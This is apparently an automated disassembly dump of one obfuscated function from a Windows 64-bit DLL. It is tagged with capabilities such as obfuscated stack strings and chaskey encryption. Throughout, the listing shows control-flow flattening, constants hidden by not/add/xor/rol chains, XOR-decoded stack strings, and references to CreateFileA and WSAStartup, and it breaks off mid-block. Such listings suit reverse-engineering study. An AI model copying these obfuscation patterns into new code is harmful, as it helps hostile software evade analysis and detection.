Function at 0x18003d100
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encrypt data using chaskey
Hash data using murmur3
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0x5460170e
pushf
not eax
add eax, 0xb95c7ad0
xor eax, 0x8e5aea1b
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xbbac158e
xor eax, 0xe0c16f04
rol eax, 0x3d
popf
cmp eax, 0x63
jne 0x18003d13d
popf
pop rax
jmp 0x180041099
cmp eax, 0x48
jne 0x18003d14c
popf
pop rax
jmp 0x1800403a4
cmp eax, 0x3f
jne 0x18003d15b
popf
pop rax
jmp 0x18003ff19
cmp eax, 1
jne 0x18003d16a
popf
pop rax
jmp 0x18003dad8
cmp eax, 0x4a
jne 0x18003d179
popf
pop rax
jmp 0x18004046e
cmp eax, 0x78
jne 0x18003d188
popf
pop rax
jmp 0x180041cff
cmp eax, 0x80
jne 0x18003d197
popf
pop rax
jmp 0x18004214d
cmp eax, 0x6e
jne 0x18003d1a6
popf
pop rax
jmp 0x1800415bb
cmp eax, 0x40
jne 0x18003d1b5
popf
pop rax
jmp 0x18003ffae
cmp eax, 0x7d
jne 0x18003d1c4
popf
pop rax
jmp 0x180041f56
cmp eax, 0x2a
jne 0x18003d1d3
popf
pop rax
jmp 0x18003f4c8
cmp eax, 0x71
jne 0x18003d1e2
popf
pop rax
jmp 0x180041807
cmp eax, 0x1c
jne 0x18003d1f1
popf
pop rax
jmp 0x18003ed86
cmp eax, 0x2e
jne 0x18003d200
popf
pop rax
jmp 0x18003f6cd
cmp eax, 0x89
jne 0x18003d20f
popf
pop rax
jmp 0x180042684
cmp eax, 0x2b
jne 0x18003d21e
popf
pop rax
jmp 0x18003f557
cmp eax, 0x1b
jne 0x18003d22d
popf
pop rax
jmp 0x18003ecdf
cmp eax, 0x6a
jne 0x18003d23c
popf
pop rax
jmp 0x180041410
cmp eax, 0x23
jne 0x18003d24b
popf
pop rax
jmp 0x18003f1bd
cmp eax, 0x5b
jne 0x18003d25a
popf
pop rax
jmp 0x180040cdb
cmp eax, 0x43
jne 0x18003d269
popf
pop rax
jmp 0x18004010b
cmp eax, 0x13
jne 0x18003d278
popf
pop rax
jmp 0x18003e82e
cmp eax, 0x33
jne 0x18003d287
popf
pop rax
jmp 0x18003f942
cmp eax, 0x24
jne 0x18003d296
popf
pop rax
jmp 0x18003f252
cmp eax, 0x1e
jne 0x18003d2a5
popf
pop rax
jmp 0x18003eef6
cmp eax, 0xc
jne 0x18003d2b4
popf
pop rax
jmp 0x18003e521
cmp eax, 0x26
jne 0x18003d2c3
popf
pop rax
jmp 0x18003f2e3
cmp eax, 0x27
jne 0x18003d2d2
popf
pop rax
jmp 0x18003f368
cmp eax, 0x30
jne 0x18003d2e1
popf
pop rax
jmp 0x18003f7f5
cmp eax, 0x10
jne 0x18003d2f0
popf
pop rax
jmp 0x18003e6aa
cmp eax, 0x37
jne 0x18003d2ff
popf
pop rax
jmp 0x18003fb29
cmp eax, 9
jne 0x18003d30e
popf
pop rax
jmp 0x18003e217
cmp eax, 0x39
jne 0x18003d31d
popf
pop rax
jmp 0x18003fc26
cmp eax, 0x16
jne 0x18003d32c
popf
pop rax
jmp 0x18003e9dd
cmp eax, 0x7e
jne 0x18003d33b
popf
pop rax
jmp 0x180041f97
cmp eax, 0x4b
jne 0x18003d34a
popf
pop rax
jmp 0x180040501
cmp eax, 0x36
jne 0x18003d359
popf
pop rax
jmp 0x18003fa7f
cmp eax, 0x14
jne 0x18003d368
popf
pop rax
jmp 0x18003e886
cmp eax, 0x72
jne 0x18003d377
popf
pop rax
jmp 0x180041877
cmp eax, 0x7f
jne 0x18003d386
popf
pop rax
jmp 0x18004208e
cmp eax, 0x69
jne 0x18003d395
popf
pop rax
jmp 0x18004139b
cmp eax, 0x83
jne 0x18003d3a4
popf
pop rax
jmp 0x1800422fa
cmp eax, 0x51
jne 0x18003d3b3
popf
pop rax
jmp 0x1800407d9
cmp eax, 0x11
jne 0x18003d3c2
popf
pop rax
jmp 0x18003e731
cmp eax, 0x35
jne 0x18003d3d1
popf
pop rax
jmp 0x18003fa06
cmp eax, 0x68
jne 0x18003d3e0
popf
pop rax
jmp 0x180041346
cmp eax, 0x7a
jne 0x18003d3ef
popf
pop rax
jmp 0x180041db6
cmp eax, 0x6b
jne 0x18003d3fe
popf
pop rax
jmp 0x180041490
cmp eax, 0x38
jne 0x18003d40d
popf
pop rax
jmp 0x18003fbd1
cmp eax, 0x64
jne 0x18003d41c
popf
pop rax
jmp 0x18004112e
cmp eax, 0x5c
jne 0x18003d42b
popf
pop rax
jmp 0x180040d5d
cmp eax, 0x15
jne 0x18003d43a
popf
pop rax
jmp 0x18003e957
cmp eax, 5
jne 0x18003d449
popf
pop rax
jmp 0x18003de2d
cmp eax, 6
jne 0x18003d458
popf
pop rax
jmp 0x18003deea
cmp eax, 0x85
jne 0x18003d467
popf
pop rax
jmp 0x180042400
cmp eax, 0x49
jne 0x18003d476
popf
pop rax
jmp 0x1800403f9
cmp eax, 0x1f
jne 0x18003d485
popf
pop rax
jmp 0x18003ef9c
cmp eax, 4
jne 0x18003d494
popf
pop rax
jmp 0x18003dd32
cmp eax, 0x77
jne 0x18003d4a3
popf
pop rax
jmp 0x180041c90
cmp eax, 0x4d
jne 0x18003d4b2
popf
pop rax
jmp 0x1800405eb
cmp eax, 0x55
jne 0x18003d4c1
popf
pop rax
jmp 0x1800409e1
cmp eax, 0x45
jne 0x18003d4d0
popf
pop rax
jmp 0x1800401e1
cmp eax, 0x2c
jne 0x18003d4df
popf
pop rax
jmp 0x18003f5ec
cmp eax, 0x5f
jne 0x18003d4ee
popf
pop rax
jmp 0x180040ea7
cmp eax, 0x19
jne 0x18003d4fd
popf
pop rax
jmp 0x18003ec0b
cmp eax, 0x1d
jne 0x18003d50c
popf
pop rax
jmp 0x18003eeb8
cmp eax, 0x86
jne 0x18003d51b
popf
pop rax
jmp 0x180042473
cmp eax, 0x53
jne 0x18003d52a
popf
pop rax
jmp 0x18004090a
cmp eax, 0x4f
jne 0x18003d539
popf
pop rax
jmp 0x1800406dd
cmp eax, 0x6c
jne 0x18003d548
popf
pop rax
jmp 0x180041525
cmp eax, 7
jne 0x18003d557
popf
pop rax
jmp 0x18003df85
cmp eax, 0x20
jne 0x18003d566
popf
pop rax
jmp 0x18003f057
cmp eax, 0x84
jne 0x18003d575
popf
pop rax
jmp 0x1800423be
cmp eax, 0x7c
jne 0x18003d584
popf
pop rax
jmp 0x180041eee
cmp eax, 0xd
jne 0x18003d593
popf
pop rax
jmp 0x18003e5ba
cmp eax, 0xa
jne 0x18003d5a2
popf
pop rax
jmp 0x18003e357
cmp eax, 0x18
jne 0x18003d5b1
popf
pop rax
jmp 0x18003eb4f
cmp eax, 0x28
jne 0x18003d5c0
popf
pop rax
jmp 0x18003f410
cmp eax, 0x22
jne 0x18003d5cf
popf
pop rax
jmp 0x18003f122
cmp eax, 0x50
jne 0x18003d5de
popf
pop rax
jmp 0x180040784
cmp eax, 0x52
jne 0x18003d5ed
popf
pop rax
jmp 0x180040877
cmp eax, 0x41
jne 0x18003d5fc
popf
pop rax
jmp 0x180040016
cmp eax, 0x67
jne 0x18003d60b
popf
pop rax
jmp 0x18004129e
cmp eax, 0x70
jne 0x18003d61a
popf
pop rax
jmp 0x180041784
cmp eax, 0x29
jne 0x18003d629
popf
pop rax
jmp 0x18003f452
cmp eax, 0x3e
jne 0x18003d638
popf
pop rax
jmp 0x18003fe99
cmp eax, 0
jne 0x18003d647
popf
pop rax
jmp 0x18003d953
cmp eax, 0x4e
jne 0x18003d656
popf
pop rax
jmp 0x18004063a
cmp eax, 0x31
jne 0x18003d665
popf
pop rax
jmp 0x18003f84a
cmp eax, 0x62
jne 0x18003d674
popf
pop rax
jmp 0x180040ff3
cmp eax, 0x82
jne 0x18003d683
popf
pop rax
jmp 0x18004228a
cmp eax, 0x25
jne 0x18003d692
popf
pop rax
jmp 0x18003f294
cmp eax, 0x8a
jne 0x18003d6a1
popf
pop rax
jmp 0x1800426e1
cmp eax, 0x7b
jne 0x18003d6b0
popf
pop rax
jmp 0x180041e46
cmp eax, 0x75
jne 0x18003d6bf
popf
pop rax
jmp 0x180041b61
cmp eax, 3
jne 0x18003d6ce
popf
pop rax
jmp 0x18003dcb0
cmp eax, 0x6f
jne 0x18003d6dd
popf
pop rax
jmp 0x1800416c5
cmp eax, 0x34
jne 0x18003d6ec
popf
pop rax
jmp 0x18003f9b1
cmp eax, 0x88
jne 0x18003d6fb
popf
pop rax
jmp 0x1800425c8
cmp eax, 0x76
jne 0x18003d70a
popf
pop rax
jmp 0x180041bb2
cmp eax, 0xb
jne 0x18003d719
popf
pop rax
jmp 0x18003e4e3
cmp eax, 0x66
jne 0x18003d728
popf
pop rax
jmp 0x18004120b
cmp eax, 0x81
jne 0x18003d737
popf
pop rax
jmp 0x1800421e3
cmp eax, 0xe
jne 0x18003d746
popf
pop rax
jmp 0x18003e64f
cmp eax, 0x3a
jne 0x18003d755
popf
pop rax
jmp 0x18003fc9f
cmp eax, 2
jne 0x18003d764
popf
pop rax
jmp 0x18003db5b
cmp eax, 0x65
jne 0x18003d773
popf
pop rax
jmp 0x180041196
cmp eax, 0x21
jne 0x18003d782
popf
pop rax
jmp 0x18003f0bf
cmp eax, 0x79
jne 0x18003d791
popf
pop rax
jmp 0x180041d54
cmp eax, 0x17
jne 0x18003d7a0
popf
pop rax
jmp 0x18003ea9b
cmp eax, 0x87
jne 0x18003d7af
popf
pop rax
jmp 0x18004252f
cmp eax, 0x46
jne 0x18003d7be
popf
pop rax
jmp 0x180040243
cmp eax, 0x32
jne 0x18003d7cd
popf
pop rax
jmp 0x18003f8ac
cmp eax, 0x6d
jne 0x18003d7dc
popf
pop rax
jmp 0x180041567
cmp eax, 0x60
jne 0x18003d7eb
popf
pop rax
jmp 0x180040f29
cmp eax, 0x42
jne 0x18003d7fa
popf
pop rax
jmp 0x180040078
cmp eax, 8
jne 0x18003d809
popf
pop rax
jmp 0x18003e00a
cmp eax, 0x57
jne 0x18003d818
popf
pop rax
jmp 0x180040afc
cmp eax, 0x59
jne 0x18003d827
popf
pop rax
jmp 0x180040bf9
cmp eax, 0x2f
jne 0x18003d836
popf
pop rax
jmp 0x18003f760
cmp eax, 0x1a
jne 0x18003d845
popf
pop rax
jmp 0x18003ec78
cmp eax, 0x73
jne 0x18003d854
popf
pop rax
jmp 0x1800419c4
cmp eax, 0x12
jne 0x18003d863
popf
pop rax
jmp 0x18003e7c6
cmp eax, 0x44
jne 0x18003d872
popf
pop rax
jmp 0x18004019f
cmp eax, 0x3c
jne 0x18003d881
popf
pop rax
jmp 0x18003fdcb
cmp eax, 0x74
jne 0x18003d890
popf
pop rax
jmp 0x180041a5c
cmp eax, 0x3b
jne 0x18003d89f
popf
pop rax
jmp 0x18003fd5c
cmp eax, 0x3d
jne 0x18003d8ae
popf
pop rax
jmp 0x18003fe20
cmp eax, 0x5d
jne 0x18003d8bd
push rbp
push rbx
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x24e8]
mov eax, 0x822c151f
pushf
not eax
add eax, 0xfecc41fd
xor eax, 0xc52ab014
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa78fbc73
xor eax, 0xb0d932d1
rol eax, 0x67
popf
pushf
not eax
add eax, 0xc54e348b
xor eax, 0xce762d4c
rol eax, 0xb
popf
call fcn.1800652b5
sub rsp, rax
mov r12, rcx
xor edx, edx
lea rcx, [rbp + 0x10c0]
mov r8d, 0x466f35b7
pushf
not r8d
add r8d, 0xbeee72f8
xor r8d, 0xe4e980e2
rol r8d, 0xd9
popf
pushf
not r8d
add r8d, 0xa1895c9b
xor r8d, 0xc5b4b4bd
rol r8d, 0x63
popf
pushf
not r8d
add r8d, 0xa5bef64a
xor r8d, 0xd49a1935
rol r8d, 0xf
popf
call sub.VCRUNTIME140.dll_memset
jmp 0x18003da0d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r8, [0x1c776283c]
pushf
sub r8, 0x477479a4
popf
mov edx, 0x2359eed1
pushf
not edx
add edx, 0xe692a2a6
xor edx, 0xadb9c5f1
rol edx, 0xd5
popf
pushf
not edx
add edx, 0xad303575
xor edx, 0x8f03dbc1
rol edx, 0x1e
popf
pushf
not edx
add edx, 0x97d22049
xor edx, 0xbdf1b159
rol edx, 0x1f
popf
mov r9d, eax
lea rcx, [rbp + 0x10c0]
call fcn.180066890
mov rsi, 0xffffffffffffffff
lea rax, [rbp + 0x10c0]
mov r14, rsi
nop word [rax + rax]
push rax
pushf
mov eax, 0xc1d433cd
pushf
not eax
add eax, 0xca818e17
xor eax, 0x880a4a6c
rol eax, 0x58
popf
pushf
not eax
add eax, 0x8d666ab7
xor eax, 0xcc72412e
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xb0ad6e56
xor eax, 0x85c70db3
rol eax, 0x11
popf
jmp 0x18003d12e
inc r14
cmp byte [rax + r14], 0
jne 0x18003db15
push rax
pushf
mov eax, 0x30754ddf
pushf
not eax
add eax, 0x8c292914
xor eax, 0xac619ddb
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xb2465e3e
xor eax, 0xc6a1d05e
rol eax, 0x87
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x97d8e002
pushf
not eax
add eax, 0xec1ff30c
xor eax, 0x887bc2fc
rol eax, 0x84
popf
pushf
not eax
add eax, 0x918156c8
xor eax, 0xb2239374
rol eax, 0xa2
popf
pushf
not eax
add eax, 0x82619969
xor eax, 0x840318ef
rol eax, 0x74
popf
jmp 0x18003d12e
xor edx, edx
lea rcx, [rbp + 0x11c0]
mov r8d, 0x6815f697
pushf
not r8d
add r8d, 0x9ba9cfb5
xor r8d, 0xc6921bbe
rol r8d, 0xc3
popf
pushf
not r8d
add r8d, 0x8bec349d
xor r8d, 0x8d2df614
rol r8d, 0x9c
popf
pushf
not r8d
add r8d, 0xf47fa196
xor r8d, 0x8a1a8acb
rol r8d, 0x60
popf
pushf
not r8d
add r8d, 0xab8f0b15
xor r8d, 0xd48422e0
rol r8d, 0xb1
popf
inc r14d
call sub.VCRUNTIME140.dll_memset
mov r9, r12
lea r8, [0x1cf7742bc]
pushf
sub r8, 0x4f759414
popf
mov edx, 0x27f94e3f
pushf
not edx
add edx, 0xdb632a91
xor edx, 0xf057eaaf
rol edx, 0x45
popf
pushf
not edx
add edx, 0xb4ecdbfd
xor edx, 0x8b7474c3
rol edx, 0x6b
popf
pushf
not edx
add edx, 0xa09ff1cb
xor edx, 0xf952174d
rol edx, 0xb9
popf
pushf
not edx
add edx, 0x9a82c1fc
xor edx, 0xeea8ae4e
rol edx, 0xbe
popf
lea rcx, [rbp + 0x11c0]
call fcn.180066890
lea rax, [rbp + 0x11c0]
push rax
pushf
mov eax, 0xef7b9d22
pushf
not eax
add eax, 0x91c8bbb7
xor eax, 0x8b7a177e
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xe550e5c2
xor eax, 0xdd54c52e
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xd6793258
xor eax, 0xc5764faf
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x93b595a1
xor eax, 0xda59b9b3
rol eax, 0x92
popf
jmp 0x18003d12e
inc rsi
cmp byte [rax + rsi], 0
jne 0x18003dcec
push rax
pushf
mov eax, 0x199c059e
pushf
not eax
add eax, 0xd48c367b
xor eax, 0xc287236c
rol eax, 0xed
popf
pushf
not eax
add eax, 0x81eb89d0
xor eax, 0x9f75fac1
rol eax, 0x73
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x1a7795f0
pushf
not eax
add eax, 0x9a041341
xor eax, 0xcc608a03
rol eax, 0x67
popf
pushf
not eax
add eax, 0xc9957c91
xor eax, 0xd8ce8f19
rol eax, 0x42
popf
pushf
not eax
add eax, 0xd9945811
xor eax, 0xaa36e758
rol eax, 0x77
popf
jmp 0x18003d12e
mov dword [rbp - 0x68], 0x5d
xor eax, eax
mov byte [rbp - 0x64], 0x6e
jmp 0x18003dd40
inc esi
mov byte [rbp - 0x63], 0x6b
xor ebx, ebx
mov byte [rbp - 0x62], 0x6a
mov r8d, ebx
mov byte [rbp - 0x61], 0x3c
mov byte [rbp - 0x60], 0x3f
mov byte [rbp - 0x5f], 0x3f
mov byte [rbp - 0x5e], 0x65
mov byte [rbp - 0x5d], 0x6c
mov byte [rbp - 0x5c], WSAStartup
mov byte [rbp - 0x5b], 0x64
mov byte [rbp - 0x5a], 0x65
mov byte [rbp - 0x59], 0x69
mov byte [rbp - 0x58], 0x69
mov byte [rbp - 0x57], WSAStartup
mov byte [rbp - 0x56], 0x6e
mov byte [rbp - 0x55], 0x68
mov byte [rbp - 0x54], 0x3b
mov byte [rbp - 0x53], 0x6c
mov byte [rbp - 0x52], WSAStartup
mov byte [rbp - 0x51], 0x3c
mov byte [rbp - 0x50], 0x39
mov byte [rbp - 0x4f], 0x6e
mov byte [rbp - 0x4e], 0x6f
mov byte [rbp - 0x4d], WSAStartup
mov byte [rbp - 0x4c], 0x64
mov byte [rbp - 0x4b], 0x65
mov byte [rbp - 0x4a], 0x3b
mov byte [rbp - 0x49], 0x6d
mov byte [rbp - 0x48], 0x6e
mov byte [rbp - 0x47], 0x65
mov byte [rbp - 0x46], 0x6d
mov byte [rbp - 0x45], 0x6d
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6d
mov byte [rbp - 0x42], 0x6d
mov byte [rbp - 0x41], 0x6e
mov byte [rbp - 0x40], al
movzx eax, byte [rbp - 0x64]
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xcec512bb
pushf
not eax
add eax, 0xe75eab1a
xor eax, 0x8719e367
rol eax, 0x84
popf
pushf
not eax
add eax, 0x856ba7db
xor eax, 0x8d350524
rol eax, 0x70
popf
pushf
not eax
add eax, 0xd42cb4c9
xor eax, 0xcac7b472
rol eax, 0x65
popf
jmp 0x18003d12e
movsx edx, byte [rbp + r8 - 0x64]
mov eax, dword [rbp - 0x68]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x64], al
inc r8
cmp r8, 0x24
jb 0x18003dea4
push rax
pushf
mov eax, 0x65afa6cb
pushf
not eax
add eax, 0xf2fb363c
xor eax, 0xaa10f8b0
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xe2c9e02b
xor eax, 0x8b064964
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xbd4a9ab2
xor eax, 0xf9c084a2
rol eax, 0x87
popf
pushf
not eax
add eax, 0x80655dc5
xor eax, 0xa1d6e1cd
rol eax, 0x64
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xd08226fa
pushf
not eax
add eax, 0x91e681c7
xor eax, 0xb0a8f71f
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xa6afa00a
xor eax, 0xdbfe5e5b
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf207f51a
xor eax, 0xb66cb395
rol eax, 0xe0
popf
jmp 0x18003d12e
mov byte [rbp - 0x40], bl
xor eax, eax
mov dword [rsp + 0x40], 0x1d
mov r8, rbx
mov byte [rsp + 0x44], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x45], 0x69
mov byte [rsp + 0x46], 0x6e
mov byte [rsp + 0x47], 0x6b
mov byte [rsp + 0x48], 0x7e
mov byte [rsp + 0x49], 0x6e
mov byte [rsp + 0x4a], al
movzx eax, byte [rsp + 0x44]
nop word [rax + rax]
push rax
pushf
mov eax, 0xdc1279e7
pushf
not eax
add eax, 0x8e5640a7
xor eax, 0xae3f0bc6
rol eax, 0x17
popf
pushf
not eax
add eax, 0x8644bb72
xor eax, 0xb0977017
rol eax, 0x94
popf
pushf
not eax
add eax, 0xfc4308ac
xor eax, 0xe65d9955
rol eax, 0x84
popf
pushf
not eax
add eax, 0xaf7a112f
xor eax, 0xe30b1442
rol eax, 0x27
popf
jmp 0x18003d12e
movsx edx, byte [rsp + r8 + 0x44]
mov eax, dword [rsp + 0x40]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x44], al
inc r8
cmp r8, 6
jb 0x18003dfd7
push rax
pushf
mov eax, 0x27d10557
pushf
not eax
add eax, 0xc0b17fc5
xor eax, 0x830cec23
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xb4b1cbff
xor eax, 0x92f3029a
rol eax, 5
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x208b81d3
pushf
not eax
add eax, 0xbc61f1e2
xor eax, 0xff7562c4
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xfcbf061f
xor eax, 0xa999edf8
rol eax, 0x7c
popf
jmp 0x18003d12e
xor edx, edx
mov byte [rsp + 0x4a], bl
mov r8d, 0xcf8fe2e8
pushf
not r8d
add r8d, 0x862799c4
xor r8d, 0xc3eea326
rol r8d, 0xbd
popf
pushf
not r8d
add r8d, 0xa0388c36
xor r8d, 0xc32e0643
rol r8d, 0x5d
popf
pushf
not r8d
add r8d, 0x8dd12fcb
xor r8d, 0xc0030581
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0x849113b2
xor r8d, 0xc4eee116
rol r8d, 0xe6
popf
lea rcx, [rbp + 0x12c0]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x44]
mov edx, 0xf7fa7041
pushf
not edx
add edx, 0xa4e95f3b
xor edx, 0xac80d8dc
rol edx, 0x30
popf
pushf
not edx
add edx, 0xefc4f2f7
xor edx, 0xb66fa4ac
rol edx, 0x87
popf
pushf
not edx
add edx, 0xdf97bbea
xor edx, 0xe76c9602
rol edx, 0xbb
popf
lea r8, [0x1f506af59]
pushf
sub r8, 0x750500d1
popf
lea rcx, [rbp + 0x12c0]
call fcn.180066890
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x12c0]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x85a3b562
pushf
not edx
add edx, 0xa8bb5b89
xor edx, 0xa7a28c34
rol edx, 0x42
popf
pushf
not edx
add edx, 0x914cf547
xor edx, 0xc11c0060
rol edx, 0xaf
popf
pushf
not edx
add edx, 0xdce62a0b
xor edx, 0xab6a09e1
rol edx, 0x87
popf
pushf
not edx
add edx, 0x91e7e6c5
xor edx, 0x93061236
rol edx, 0xb3
popf
jmp 0x18003e165
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18003e1d1
push rax
pushf
mov eax, 0xee7d5cbb
pushf
not eax
add eax, 0xe4e6bbc2
xor eax, 0xad3c5c41
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xad07d1ab
xor eax, 0x90720781
rol eax, 0xf5
popf
pushf
not eax
add eax, 0xa9b14e92
xor eax, 0xefee22a4
rol eax, 0x77
popf
pushf
not eax
add eax, 0xad013903
xor eax, 0xaf38f0b7
rol eax, 0x83
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x24dd5519
pushf
not eax
add eax, 0xc9cca7e1
xor eax, 0xd582a718
rol eax, 0x29
popf
pushf
not eax
add eax, 0x8205322a
xor eax, 0xbf26fa21
rol eax, 0x21
popf
pushf
not eax
add eax, 0xc0030734
xor eax, 0xbb83f467
rol eax, 0x47
popf
jmp 0x18003d12e
xor edx, edx
lea rcx, [rbp + 0x14cc]
mov r8d, 0x8fb7b04
pushf
not r8d
add r8d, 0xbb49950e
xor r8d, 0x881d2951
rol r8d, 0x4d
popf
pushf
not r8d
add r8d, 0xf13e83c4
xor r8d, 0x89becbfc
rol r8d, 0x17
popf
pushf
not r8d
add r8d, 0x86425321
xor r8d, 0xd6996e4c
rol r8d, 0x57
popf
pushf
not r8d
add r8d, 0xa75d7c23
xor r8d, 0xa2d3ce69
rol r8d, 0x9c
popf
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x64]
mov qword [rbp + 0x14c0], rdi
lea rcx, [rbp + 0x14c0]
mov dword [rbp + 0x14c8], 1
call fcn.18002aa5d
test eax, eax
jne 0x18003e2fe
push rax
pushf
mov eax, 0xd3b2313f
pushf
not eax
add eax, 0x9c59f745
xor eax, 0xfc0d342b
rol eax, 0xbe
popf
pushf
not eax
add eax, 0xf118c320
xor eax, 0xb914518f
rol eax, 0xae
popf
pushf
not eax
add eax, 0x8b63e79c
xor eax, 0xf59cd8dd
rol eax, 0xf6
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x8463c5ae
pushf
not eax
add eax, 0xcf87a4bc
xor eax, 0xa53f4ddf
rol eax, 0x75
popf
pushf
not eax
add eax, 0xfe456546
xor eax, 0xc1a760cc
rol eax, 0x60
popf
pushf
not eax
add eax, 0x9cc3e6d5
xor eax, 0xb5575327
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xff9d9003
xor eax, 0xada30cb4
rol eax, 0x39
popf
jmp 0x18003d12e
mov r8d, 0xfc814e79
pushf
not r8d
add r8d, 0xe435a79e
xor r8d, 0xfc99f11a
rol r8d, 0x3d
popf
pushf
not r8d
add r8d, 0xbd3ce3e3
xor r8d, 0xf9d72ad3
rol r8d, 0xe2
popf
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcpy
mov edi, 0x2ccc53df
pushf
not edi
add edi, 0xf9b89439
xor edi, 0xd52becf5
rol edi, 0xdf
popf
pushf
not edi
add edi, 0xe9015085
xor edi, 0xdc1d7a6e
rol edi, 0x25
popf
lea rcx, [rbp + 0xb4]
mov r8d, edi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, edi
mov dword [rbp + 0x8b4], ebx
xor edx, edx
lea rcx, [rbp + 0x8b8]
call sub.VCRUNTIME140.dll_memset
mov ecx, dword [rbp + 0x8b4]
mov eax, edi
sub eax, ecx
mov dword [rbp + 0x10b8], ebx
mov dword [rbp + 0xac], ebx
mov edx, 0x7391dab7
pushf
not edx
add edx, 0xa5591bf3
xor edx, 0x94644ba8
rol edx, 0x1a
popf
pushf
not edx
add edx, 0x92831f97
xor edx, 0xe7a27258
rol edx, 0x18
popf
pushf
not edx
add edx, 0xcd2a1bdc
xor edx, 0x9885dcfa
rol edx, 0xf4
popf
mov dword [rbp + 0xb0], edx
mov dword [rbp + 0x2528], ebx
mov dword [rbp + 0x2530], ebx
cmp eax, 4
jae 0x18003e4b0
push rax
pushf
mov eax, 0xb564d928
pushf
not eax
add eax, 0xf70bd4ed
xor eax, 0xa39a62a1
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x9f27eed0
xor eax, 0x9e1d3f5f
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xf7cfaa31
xor eax, 0xaf9d47b1
rol eax, 0x68
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x386ba067
pushf
not eax
add eax, 0xc7cca708
xor eax, 0xd3c728db
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa463b4f4
xor eax, 0xf5109db6
rol eax, 0x2a
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], edx
jmp 0x18003e5ba
mov dword [rbp + rcx + 0xb4], ebx
mov ecx, dword [rbp + 0x8b4]
mov edx, dword [rbp + 0xb0]
add ecx, 4
mov dword [rbp + 0x8b4], ecx
test edx, edx
je 0x18003e574
push rax
pushf
mov eax, 0x56539aff
pushf
not eax
add eax, 0xf8479f72
xor eax, 0x9a65510b
rol eax, 0x48
popf
pushf
not eax
add eax, 0x888ea6f3
xor eax, 0xfa392db7
rol eax, 0x68
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xbf12a6d1
pushf
not eax
add eax, 0xf6421c79
xor eax, 0xc48175e4
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc31f0b83
xor eax, 0xe2e0b3a0
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xb9c91373
xor eax, 0xe496d3ac
rol eax, 0x38
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003e61c
push rax
pushf
mov eax, 0x52d45deb
pushf
not eax
add eax, 0xa93e535d
xor eax, 0x9babeb49
rol eax, 0x78
popf
pushf
not eax
add eax, 0xe1a0ccdc
xor eax, 0xc12f72bf
rol eax, 0x99
popf
pushf
not eax
add eax, 0xb7d05b8a
xor eax, 0xa3a993d8
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdb77c905
xor eax, 0xb3559e5a
rol eax, 0xdf
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0x16124f1d
pushf
not eax
add eax, 0xe7ccbcd4
xor eax, 0xb3afa108
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xe01a52b0
xor eax, 0x809147c9
rol eax, 0xcd
popf
jmp 0x18003d12e
mov dword [rbp + 0xac], 1
jmp 0x18003e6aa
mov dword [rbp + 0x2538], 0xf003f
test edx, edx
je 0x18003e6fe
push rax
pushf
mov eax, 0x8778e11a
pushf
not eax
add eax, 0xc0fcca7a
xor eax, 0xbef26a94
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xef5c7fb1
xor eax, 0x96baa986
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xe1895636
xor eax, 0xf2581c3b
rol eax, 0x14
popf
jmp 0x18003d12e
push rax
pushf
mov eax, 0xa3824797
pushf
not eax
add eax, 0xae9c90be
xor eax, 0x92d3679f
rol eax, 0x43
popf
pushf
not eax
add eax, 0xa640ebaa
xor eax, 0xd7f761dd
rol eax, 0xf8
popf
jmp 0x18003d12e
mov eax, edi
sub eax, ecx
cmp eax, 4
jae 0x18003e780
push rax
pushf
mov eax, 0x139c227a
pushf
not eax
add eax, 0x91ccd2e7
xor eax, 0xf44d64ec
